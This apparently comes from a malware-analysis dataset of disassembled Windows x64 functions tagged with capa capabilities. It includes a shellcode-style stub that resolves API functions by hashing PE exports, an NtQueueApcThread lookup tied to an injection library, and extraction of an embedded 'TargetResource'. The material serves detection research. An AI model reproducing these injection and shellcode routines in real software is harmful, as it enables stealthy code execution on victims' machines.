joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003aa10
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
mov rax, qword [0x140093020]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x20], rdx
xor edx, edx
mov r8d, 0x180
lea rcx, [rbp - 0x70]
call fcn.140045d80
lea rcx, [rbp - 0x70]
call fcn.140018050
nop
xor edx, edx
mov r8d, 0x180
lea rcx, [rbp + 0x110]
call fcn.140045d80
lea rcx, [rbp + 0x110]
call fcn.140018050
nop
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x290]
call fcn.140045d80
mov edx, 0x104
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [rbp + 0x290]
lea rcx, [rsp + 0x70]
call fcn.140002e30
nop
cmp byte [rdi], 0
je 0x14003aaf5
lea r8, str.System32_ntdll.dll
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140004960
nop
mov r8b, 1
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140018330
nop
lea rcx, [rsp + 0x50]
call fcn.140002d40
jmp 0x14003ab96
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movzx eax, byte [rdi + 1]
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x58], al
test al, al
je 0x14003ab1e
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
nop
lea r8, str.System32_ntdll.dll
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140004960
nop
mov r8b, 1
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140018330
nop
lea rcx, [rsp + 0x30]
call fcn.140002d40
lea r8, str.SysWOW64_ntdll.dll
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140004960
nop
mov r8b, 1
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140018330
nop
lea rcx, [rsp + 0x30]
call fcn.140002d40
nop
cmp byte [rsp + 0x58], 0
je 0x14003ab96
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.14003ac00
nop
lea rcx, [rbx + 0x180]
lea rdx, [rbp + 0x110]
call fcn.14003ac00
nop
lea rcx, [rsp + 0x70]
call fcn.140002d40
nop
lea rcx, [rbp + 0x110]
call fcn.1400181e0
nop
lea rcx, [rbp - 0x70]
call fcn.1400181e0
mov rax, rbx
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.1400433a0
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14003ba30
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp byte [rcx + 0x15], 0
mov rbx, r9
mov rdi, r8
mov rsi, rdx
je 0x14003ba62
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
jmp method.blackbone::Native.virtual_112
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140096910], eax
jle 0x14003baba
lea rcx, [0x140096910]
call fcn.140043550
cmp dword [0x140096910], 0xffffffff
jne 0x14003baba
call fcn.140041740
mov rcx, rax
lea rdx, str.NtQueueApcThread
call fcn.1400417d0
lea rcx, [0x140096910]
mov qword [0x140096900], rax
call fcn.1400434f0
mov rcx, qword [0x140096900]
test rcx, rcx
jne 0x14003badb
mov eax, 0xc0000138
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
xor eax, eax
mov r9, rdi
mov qword [rsp + 0x30], rax
mov r8, rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea edx, [rax + 5]
call fcn.140041700
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x14003c370
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140093020]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400433a0
add rsp, 0x68
ret
Function at 0x14003cfb0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140093020]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rcx
mov r14, r8
mov rcx, rdx
mov rbp, rdx
call fcn.140002bf0
mov rcx, rbp
mov rbx, rax
call fcn.140002c00
xor r10d, r10d
movabs r9, 0xcbf29ce484222325
add rbx, rbx
je 0x14003d024
movabs rcx, 0x100000001b3
nop word [rax + rax]
movzx edx, byte [rax + r10]
inc r10
xor r9, rdx
imul r9, rcx
cmp r10, rbx
jb 0x14003d010
mov r8, rbp
lea rdx, [rsp + 0x20]
lea rcx, [rdi + 0x40]
call fcn.140011cc0
mov rcx, qword [rax + 8]
test rcx, rcx
jne 0x14003d042
mov rcx, qword [rdi + 0x48]
mov qword [rsp + 0x30], rcx
lea rdx, [rdi + 0x48]
lea rcx, [rsp + 0x30]
call fcn.140001650
mov rax, qword [rdi + 0x48]
lea rdx, [rdi + 0x48]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.140001650
mov rax, qword [rsp + 0x30]
cmp rax, qword [rsp + 0x20]
je 0x14003d086
mov ecx, dword [rax + 0x30]
add rcx, qword [rdi + 0x18]
mov qword [r14], rcx
xor eax, eax
jmp 0x14003d08b
mov eax, 0x806d0013
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400433a0
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140052a98
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400528c4
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rcx
mov rdx, qword [rdx + 0x20]
push rsi
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
push r9
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x180003530
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.180015680
test al, al
jne 0x180003554
nop dword [rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180015680
test al, al
je 0x180003540
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x180003560
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 0x20a
call fcn.18001a2b4
xor edx, edx
mov r8d, 0x20a
mov rcx, rax
mov rbx, rax
call fcn.18001c8b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, 0x104
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.mstsc
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x1800035d4
call fcn.180015680
test al, al
jne 0x1800035d4
nop dword [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180015680
test al, al
je 0x1800035c0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x180003670
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x180053038]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov ebp, r8d
mov r14, rdx
mov rbx, rcx
mov qword [rsp + 0x40], rcx
xor r15d, r15d
mov dword [rsp + 0x48], r15d
mov edi, r15d
cmp qword [rcx + 0x18], 8
jb 0x1800036b2
mov rcx, qword [rcx]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000370b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [0x180055798]
mov r10, qword [rcx]
mov r9d, eax
lea r8d, [rsi + 3]
lea rdx, str.SwapMethod___Overwrite:_CreateFileW_failed__d
call qword [r10 + 0x10]
jmp 0x1800037d7
xor r9d, r9d
xor r8d, r8d
mov edx, ebp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x18000374b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.SwapMethod___Overwrite:_SetFilePointer_failed__d
mov edi, eax
mov rcx, qword [0x180055798]
mov r8d, 2
mov r9d, eax
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x1800037cd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18000377f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [0x180055798]
mov rax, qword [rcx]
mov r9d, edi
mov r8d, 2
lea rdx, str.SwapMethod___Overwrite:_SetEndOfFile_failed__d
call qword [rax + 0x10]
jmp 0x1800037cd
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x180003721
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x48]
mov r8d, ebp
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800037c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.SwapMethod___Overwrite:_WriteFile_failed__d
jmp 0x18000372e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x180003812
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000380d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003845
mov rcx, r8
call fcn.180019e20
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov eax, edi
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180019e00
mov rbx, qword [rsp + 0xa8]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.180020e64
int3
Function at 0x18000ad70
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x18000ada4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x18000ad90
ret
Function at 0x18000eaf0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x18000ebbc
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x18000ebbc
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x18000ebd5
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x18000ebac
cmp byte [rax], 0x5c
jne 0x18000eba6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x18000eba6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x18000eb92
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x18000eba3
test r8b, 0x10
jne 0x18000eba6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x18000eba6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.18000b460
test edi, edi
jne 0x18000eb10
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.18000b450
int3
Function at 0x180013290
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r14
push r15
sub rsp, 0x30
mov r14, rdx
mov rdi, rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 0xf
mov byte [rcx], bpl
mov dword [rsp + 0x20], 1
mov esi, ebp
lea r15, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx ebx, byte [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
mov rax, rsi
shr rax, 3
cmp rax, 0x20
jb 0x180013368
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x180013326
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x18001331e
mov rax, qword [rdi]
mov word [rax + rcx], 0x3d
jmp 0x180013338
mov r9b, 0x3d
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rdi
call fcn.18000df30
mov eax, 6
inc rbp
add rsi, rax
cmp rsi, 0x108
jb 0x1800132f0
mov rax, rdi
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
lea rcx, [rsi + 6]
shr rcx, 3
cmp rcx, 0x20
jb 0x18001337a
xor cl, cl
jmp 0x18001337f
movzx ecx, byte [rcx + r14]
movzx edx, byte [rax + r14]
mov rax, rbp
and eax, 3
je 0x1800133c6
sub rax, 1
je 0x1800133b6
sub rax, 1
je 0x1800133a6
cmp rax, 1
jne 0x1800133cc
movzx ebx, dl
and bl, 0x3f
jmp 0x1800133cc
movzx ebx, dl
and bl, 0xf
shl bl, 2
shr cl, 6
add bl, cl
jmp 0x1800133cc
movzx ebx, dl
and bl, 3
shl bl, 4
shr cl, 4
add bl, cl
jmp 0x1800133cc
movzx ebx, dl
shr bl, 2
movzx eax, bl
movzx r9d, byte [rax + r15]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x180013329
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1800133f9
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180013338
Function at 0x180013410
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, rcx
mov dword [rsp + 0x60], 1
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor edi, edi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 0xf
mov byte [rcx], dil
mov dword [rsp + 0x60], 1
test r8b, 3
jne 0x180013569
lea rbp, [r8 - 1]
test rbp, rbp
je 0x180013569
lea rsi, [rdx + 1]
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx eax, byte [rsi - 1]
cmp al, 0x3d
je 0x180013569
movzx r8d, byte [rsi]
cmp r8b, 0x3d
je 0x180013569
xor cl, cl
mov edx, eax
movsx rax, cl
movsx eax, byte [rax + r14]
cmp edx, eax
je 0x1800134ab
inc cl
cmp cl, 0x40
jae 0x180013569
jmp 0x180013491
cmp cl, 0xff
je 0x180013569
xor r9b, r9b
nop word [rax + rax]
movsx rax, r9b
movsx eax, byte [rax + r14]
cmp r8d, eax
je 0x1800134dd
inc r9b
cmp r9b, 0x40
jae 0x180013569
jmp 0x1800134c0
cmp r9b, 0xff
je 0x180013569
mov rax, rdi
and eax, 3
je 0x180013511
sub rax, 1
je 0x180013504
cmp rax, 1
jne 0x18001355a
and r9b, 0x3f
shl cl, 6
jmp 0x18001351c
shr r9b, 2
and r9b, 0xf
shl cl, 4
jmp 0x18001351c
shr r9b, 4
and r9b, 3
shl cl, 2
add r9b, cl
mov rdx, qword [rbx + 0x18]
mov rcx, qword [rbx + 0x10]
cmp rcx, rdx
jae 0x18001354b
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x180013540
mov rax, qword [rbx]
mov byte [rax + rcx + 1], 0
mov byte [rax + rcx], r9b
jmp 0x18001355a
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.18000df30
inc rdi
inc rsi
cmp rdi, rbp
jb 0x180013473
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x180014830
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180014887
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x1800148c9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014860
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x434
call fcn.18001c8b0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x438
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
nop
cmp qword [rsp + 0x48], rdi
je 0x1800148da
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1800148b0
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800148c9
mov rcx, rdi
cmp eax, 1
je 0x1800148f5
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x180014840
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
Function at 0x180016340
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rdi, rcx
test rcx, rcx
jne 0x18001635e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800163a7
nop word [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x1800163e9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180016380
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x434
call fcn.18001c8b0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x438
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
nop
cmp qword [rsp + 0x48], rdi
je 0x1800163fc
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1800163d0
xor eax, eax
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
lea rcx, [rsp + 0x50]
call fcn.180012ff0
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
Function at 0x180016ba0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov r8d, 6
lea rdx, str.TargetResource
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x180016d39
mov rdx, rdi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180016d39
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x180016d39
mov rdx, rdi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x180016d39
mov r14d, eax
mov ecx, eax
call fcn.18001a2b4
mov rdi, rax
mov r8d, r14d
mov rdx, rsi
mov rcx, rax
call fcn.18001c130
mov r14d, dword [rdi]
lea rcx, [r14 + 1]
call fcn.18001a2b4
mov rsi, rax
lea r8, [r14 + 1]
xor edx, edx
mov rcx, rax
call fcn.18001c8b0
mov r8d, dword [rdi]
lea rdx, [rdi + 4]
mov rcx, rsi
call fcn.18001c130
mov rdx, rsi
mov rcx, rbx
call fcn.180016d60
mov rcx, rsi
test al, al
jne 0x180016c8a
call fcn.180019e20
mov rcx, rdi
call fcn.180019e20
xor al, al
jmp 0x180016d39
call fcn.180019e20
mov r14d, dword [rdi]
add r14, 4
add r14, rdi
movzx eax, byte [r14]
mov qword [rbx + 0x28], rax
movzx eax, byte [r14]
test al, al
je 0x180016d18
mov esi, eax
lea rcx, [rax + 1]
call fcn.18001a2b4
mov r15, rax
lea r8, [rsi + 1]
xor edx, edx
mov rcx, rax
call fcn.18001c8b0
mov qword [rbx + 0x30], r15
movzx r8d, byte [r14]
lea rdx, [r14 + 1]
mov rcx, r15
call fcn.18001c130
movzx eax, byte [r14]
add r14, rax
mov eax, dword [r14 + 1]
mov qword [rbx + 0x38], rax
mov r15d, dword [r14 + 1]
mov ecx, r15d
call fcn.18001a2b4
mov rsi, rax
mov r8d, r15d
xor edx, edx
mov rcx, rax
call fcn.18001c8b0
mov qword [rbx + 0x40], rsi
mov r8d, dword [r14 + 1]
lea rdx, [r14 + 5]
mov rcx, rsi
call fcn.18001c130
mov rcx, rdi
call fcn.180019e20
mov rcx, qword [rbx + 0x18]
call fcn.1800166d0
mov rcx, qword [rbx + 0x20]
call fcn.1800166d0
nop
mov al, 1
jmp 0x180016d39
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x180017fe0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r15, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
cmp byte [rcx + 0x3c], sil
je 0x18001811d
mov edx, 0xffffffff
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x180018037
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x180018106
lea rdx, [rsp + 0x90]
call fcn.180012d80
mov r13, rax
mov rdx, rax
lea rcx, [0x18004b410]
call fcn.180012c80
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], 0
jne 0x180018071
add edi, edi
mov r12, qword [r15 + 0x30]
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
mov r8d, edi
sub r8d, ebx
mov edx, ebx
add rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x30]
mov rcx, r12
cmp r8d, 0x400
jbe 0x1800180b7
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800180c7
add ebx, dword [rsp + 0x30]
jmp 0x1800180d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x1800180d8
cmp ebx, edi
je 0x1800180dd
jmp 0x180018090
mov esi, 0x6d
mov dword [rsp + 0x30], esi
mov rcx, qword [r15 + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test r13, r13
je 0x1800180f8
mov rcx, r13
call fcn.180019e20
test r14, r14
je 0x180018106
mov rcx, r14
call fcn.180019e20
nop
jmp 0x180018114
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x180018130
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x48
mov r15, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
cmp byte [rcx + 0x3c], sil
je 0x18001824b
mov edx, 0xffffffff
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x180018185
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x180018234
lea rdx, [rsp + 0x90]
call fcn.180012e50
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1800181b0
add edi, edi
mov r12, qword [r15 + 0x30]
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
mov r8d, edi
sub r8d, ebx
mov edx, ebx
add rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x30]
mov rcx, r12
cmp r8d, 0x400
jbe 0x1800181f7
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180018207
add ebx, dword [rsp + 0x30]
jmp 0x180018212
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x180018218
cmp ebx, edi
je 0x18001821d
jmp 0x1800181d0
mov esi, 0x6d
mov dword [rsp + 0x30], esi
mov rcx, qword [r15 + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, r14
call fcn.180019e20
nop
jmp 0x180018242
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
add rsp, 0x48
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret